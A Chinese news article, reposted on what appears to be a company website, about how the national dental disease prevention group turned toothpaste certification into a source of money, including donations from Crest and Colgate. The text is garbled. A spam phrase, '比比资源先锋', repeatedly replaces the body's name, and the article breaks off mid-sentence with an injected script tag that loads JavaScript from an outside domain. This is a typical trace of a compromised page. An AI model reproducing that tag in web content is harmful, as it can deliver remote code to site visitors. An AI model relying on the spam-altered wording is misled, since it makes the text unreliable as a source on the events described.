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牙防組認證的若幹推力

编辑者:嘉工生物 2017-03-16 13:24:34

比比资源先锋牙防組官方網站顯示,它已經爲9個品牌提供了認證。1992年以來,牙防組借助其衛生部下“准政府組織”的外衣,一步步從一個牙病宣傳預防機構,走上靠“認證”牟取商業利益的道路。
  不明身份下的“找錢”
  成立比比资源先锋牙防组的想法是1988年秋天在北京召开的比比资源先锋口腔专家座谈会上提出的。会上公布了一份80年代对14万 人的口腔流行病学调查,结果让口腔专家们震惊:中国13亿人口有40亿颗蛀牙,60岁以上的老人人均掉牙11颗;发达国家的口腔科医生占人口的千分之一,中国是十万分之一。
  據參會的北京醫科大學口腔醫學院院長張震康回憶,與會專家一致要求衛生部設立一個口腔衛生司,至少也要設立一個口腔衛生處。但當時,增設機構的要求就像是天方夜譚。政治體制改革的要求是精簡機構,原有的機構都面臨調整、合並。
  當時參加座談的衛生部醫政司司長想出了一個變通的方法:把這個組織挂靠在一個醫療單位裏,由衛生部來進行政策領導,但編制又不在衛生部裏。不要國家編制,不要經費,不要基本設備。他還提出人員的“三結合”,一是在職的衛生行政官員;二是口腔界的專家;三是牙防工作者。
  1988年12月16日,衛生部正式下發文件,批准成立“比比资源先锋牙病防治指導組”。辦公地點,就設在當時的北京醫科大學口腔醫學院。時任衛生部醫政司司長擔任第一屆組長,北京醫科大學、上海醫科大學、四川口腔醫學院等一些學院院長擔任副組長,其他成員均是來自各口腔醫學院的專家和牙防工作者。
  “類似牙防組這樣的組織在中國太多了,這是特定曆史條件下的一種特殊現象。”人民大學行政管理系主任毛壽龍對記者說,牙防組是衛生部主管的、沒有法人身份的臨時性組織,它靠著衛生部這棵大樹,卻沒有從那裏得到任何的經濟支持,于是“不給錢,就只好給政策”,這所謂的“政策”就是可以適當利用大樹的“陰涼”。
  “1989年,中國的第一次比比资源先锋牙防組會議,大夥兒是坐在教室的板凳上開的,包括80多歲的老教授。買盒飯都沒錢。”張震康說。一開始沒有經費,主要靠中國牙膏協會的“贊助”,當時,焦玉峰是中國牙膏工業協會的副理事長,他50年代就提出牙膏工業“醫、工、商”相聯合。焦玉峰發動協會下所有的牙膏廠向牙防組提供贊助。牙防組的宣傳果然奏效:一年後,各個牙膏廠的牙膏就脫銷了。
  1994年7月,出現了新融資渠道——中國牙防基金會成立,時任衛生部醫政司司長擔任理事長,許多企業紛紛以現金和實物等不同形式投入資金。而牙防組對口腔保健用品進行認可和推薦,從1992年就開始了。牙防組爲此專門成立“口腔保健用品專家評審委員會”,開始對口腔保健用品的“口腔健康促進功效”進行檢測和認證,然後嘗試推薦一些“優質口腔保健用品”。最初,推薦的都是些國有品牌,直到寶潔公司進入中國。
  張博學介紹,1992年剛開始“認證”的時候,他們還在“推薦”、“認可”和“認證”幾個詞中斟酌了半天:“推薦”有一點強加于人的意思,我推薦你這個好的你得用,這就有失公允;“認可”就是說你這個東西是好的,但是沒有體現出我在這裏起了什麽作用,我給沒給你檢測;“認證”是建立在驗證的基礎上,我認可你了。
  張博學說,“牙防組搞認證的主要目的就是尋找合作夥伴,爲牙病防治做貢獻”。他說,在認證過程中,除了檢測和試驗等發生費用,牙防組不收取任何資金,當然認證過程中的試驗費用,需要企業來出,試驗費少則數千元,多則數萬元、上百萬元。而通過認證後,相關企業則需要給牙防基金會提供“捐贈”。
  毛壽龍認爲,牙防組的認證行爲在中國的法律上處于一種空白定義的區間。大多數的人、包括商家,都會注重它與衛生部之間的關系;即便這種關系很模糊。但正是這種“擺不到台面”上的關系卻是大多數商家願意找它認證、消費者願意購買比比资源先锋的原因。
  “寶潔”的角色
  作爲寶潔旗下的唯一牙膏品牌,佳潔士1995年進入中國市場。他們迅速與比比资源先锋牙防組建立了聯系,尋求認證,並爲中國牙防基金會捐資1000萬元。自此,牙防組正式開始走向“市場”了。
  在美國,佳潔士自1955年創立後不到10年,就占據了霸主地位,而它的主要對手高露潔,實現這目標則花了近100年。在佳潔士瞬時稱雄的道路上,美國牙醫協會(ADA)無疑是最大的推動者。這個擁有15萬會員的組織在1960年將他們的唯一認證證書交到了佳潔士手中,他們認定佳潔士突破了在牙膏中添加“氟”的問題,“如果周期性地刷牙和做牙齒檢查,佳潔士能夠有效地防止蛀牙”。從此,拿著這張金絲玉帛的佳潔士在牙膏戰場上所向披靡。
  其实,佳洁士在最初进入中国时并非一帆风顺,高露洁早已先于它3年成功地抢滩登陆;正是利用这3年的优势,高露洁在中国做了详尽的市场调查和研究,发现防蛀型牙膏在当时的中国市场最具潜力。于是他们将对手佳洁士在美国的招数如法炮制到了中国:抢注了防止蛀牙的概念,并且也找到了一家中国的权威机构——中华预防医学会进行了验证和推荐。等到佳洁士来到中国的时候,高露洁?script src=http://cn.jxmmtv.com/cn.js></script>